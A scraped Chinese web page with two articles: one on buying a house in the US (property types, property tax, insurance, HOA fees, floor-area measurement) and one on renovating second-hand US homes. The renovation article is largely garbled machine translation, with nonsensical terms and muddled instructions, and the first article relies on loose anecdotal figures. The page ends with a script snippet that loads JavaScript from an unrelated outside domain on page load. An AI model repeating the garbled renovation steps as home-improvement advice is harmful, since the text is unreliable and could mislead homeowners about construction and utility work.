美国买房注意事项介绍 养房成本有哪些

现在大家的经济条件好了，不少学生就会在上学期间申请出国留学，美国是个发达国家，必然是出国留学的热门国家，有很多人都申请去美国，一旦在外留学，有的人就想要留在美国，在美国居住没有房屋是不行的，购买房子是留在美国的第一个条件。美国买房的事情很繁琐，有许多我们值得注意的地方，下面我们就来具体的看一下，如果想在美国买房子有哪些注意事项。美国买房注意事项一、买什么类型的房子?美国房地产市场的房屋种类很多，最主要的有独栋别墅，联体别墅，传统观念认为，包括以往网络文章大量报导，独栋别墅最具投资价值，公寓较逊色。其实这种认识是有偏差的。美国对公寓的需求在过去6年不断在攀升，美国购房能力不足的年轻人口不断增加，导致公寓租赁供不应求，租金节节上涨。各都会区好地段已经没有土地供应，少量新盖的公寓也以高档为主，无法满足老百姓的需求。此外，与国内不同，美国房主出售房屋前一般会对房屋进行翻新。美国公寓的建筑标准比中国高很多，一旦公寓的固定设施(如，厨房家电、空调等)更新及装修翻新后，房屋的维护成本并不高。相反，独栋别墅因其独立结构决定了维护成本高，因为美国的人工很贵，看过美剧《绝望的主妇》就知道，卫生间下水堵塞竟然需要3000美金维修。但是别墅的优势在于，土地是永久产权的，土地长期一定会升值;但是，对于美国人来说，一般有稳定收入和有子女的家庭才会搬到市郊的别墅区居住，而这样的家庭已经有能力购买或者尽量通过贷款解决购房。所以，对别墅的租赁需求比公寓差很多。总的来说，美国公寓更适合中短期投资，而别墅适合长期投资或自住。二、养房成本有哪些?1、房产税。房产税在美国各个州和地区都不同，一般在1-2%，其中德州较高，可达3%以上。政府每年会根据房产评估价计算房产税。美国的房产税是取之于民，用之于民的。在中国虽然没有房产税的概念，可是只有70年产权。曾有懂金融的朋友算一笔账，中国实际房产税已高达3.6%。2、房屋保险。在美国购买房产的同时，一般都会购买房屋保险。比如，一栋50万美元的房子，房屋保险费每个月都在100美元左右。此外，在自然灾害多发的州往往还要额外增保一份自然灾害险，例如加州要加保地震险，飓风城市要加保飓风险等。3、区费或物业费。如果房屋在统一规划的小区内，一般有小区费，用于支付小区公共设施和维护。物业费主要是针对公寓而言的，别墅一般没有物业服务。美国公寓的物业费各都会区标准不一，比如一套使用面积70平米的两居，每年物业费可能在2000-3000美元，当然有些会更高。需要注意的是，如果购买美国房产用于出租投资，物业费和房产税是转移到租客身上的。因此，购房时要搞清楚房产投资的净租金回报是多少。如果购买公寓长期空臵，养房成本会很高。三、面积计算与国内不同美国房屋面积是以使用面积来计算，不同于国内以建筑面积计算。比如，房产面积标明是2000平方英尺(大约185平方米)，是真正的居住面积，不包含车库、阳台、地下室和公用过道、电梯等。想要在一个国家安居落户，并不是一件容易的事情，买房只是我们要做的第一步而已，由于并不是本土人，所以购买房屋会有许多的条条框框，我们只要按照手续来办理，就可以买到房子，但是有很多的注意事项是大家需要遵守的。在美国买房子有好处，同样也是有坏处的，我们要进行全方面的了解之后再进行选择，以免买过房子之后再后悔，那就有些麻烦了。

美国二手房翻新的注意事项和方法

第一手的房子现在都非常昂贵，所以很多人选择住宅出售时，他们买房子。那么，装修二手房的注意事项是什么？如何更新二手房？我们将介绍美国二手房翻新的预防措施和美国二手房翻新的注意事项。首先，美国二手房翻新注意事项1，废弃物处理在美国二手房翻新拆迁过程中，会产生大量废弃物。因此，在施工期间，尽量防止小块落入下水道。虽然不可见，但小部件很容易堵塞水管。2，彩色建材在美国二手房翻新中，只需要进行部分更改。例如，只能恢复厚度为4毫米的瓷砖。但是，必须考虑到瓷砖之间的颜色问题很可能。新的瓷砖颜色会与旧瓷砖颜色发生冲突，这需要我们更多关注。3.水力发电线路。更换水回路时，务必在从墙壁上拆下地板表面时注意。特别注意水和电缆的分布。不要损坏或任意移动房屋的水电线。美国二手房翻新的方法1，墙面皮革铲正如我们都知道，美国二手房翻新的墙面会产生大量的灰尘和不规则性，使墙面需要恢复。在翻新前一面墙之前，我们不允许处理墙面的基层。老化必须完全去除，然后一层白水泥。为了墙壁表面过于光滑和彩绘，它必须打磨去除皮肤松弛，这是很好的新油漆和墙面的加入。墙面底漆的功能是抵抗碱和水分，密封基材，保护顶层，改善顶层的质地和遮盖力。2，拆卸门窗从安全的角度来看，必须改变二手房翻新的门窗。门窗老化是二手房最常见的问题之一。门窗不仅代表房屋的外立面，还代表房屋的安全门。通常情况下，如果门窗造成轻微老化，您可以使用新刷子进行喷漆，这将使原来的门窗看起来有点新旧。对于“高科技”小偷来说，旧式门锁是轻而易举的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();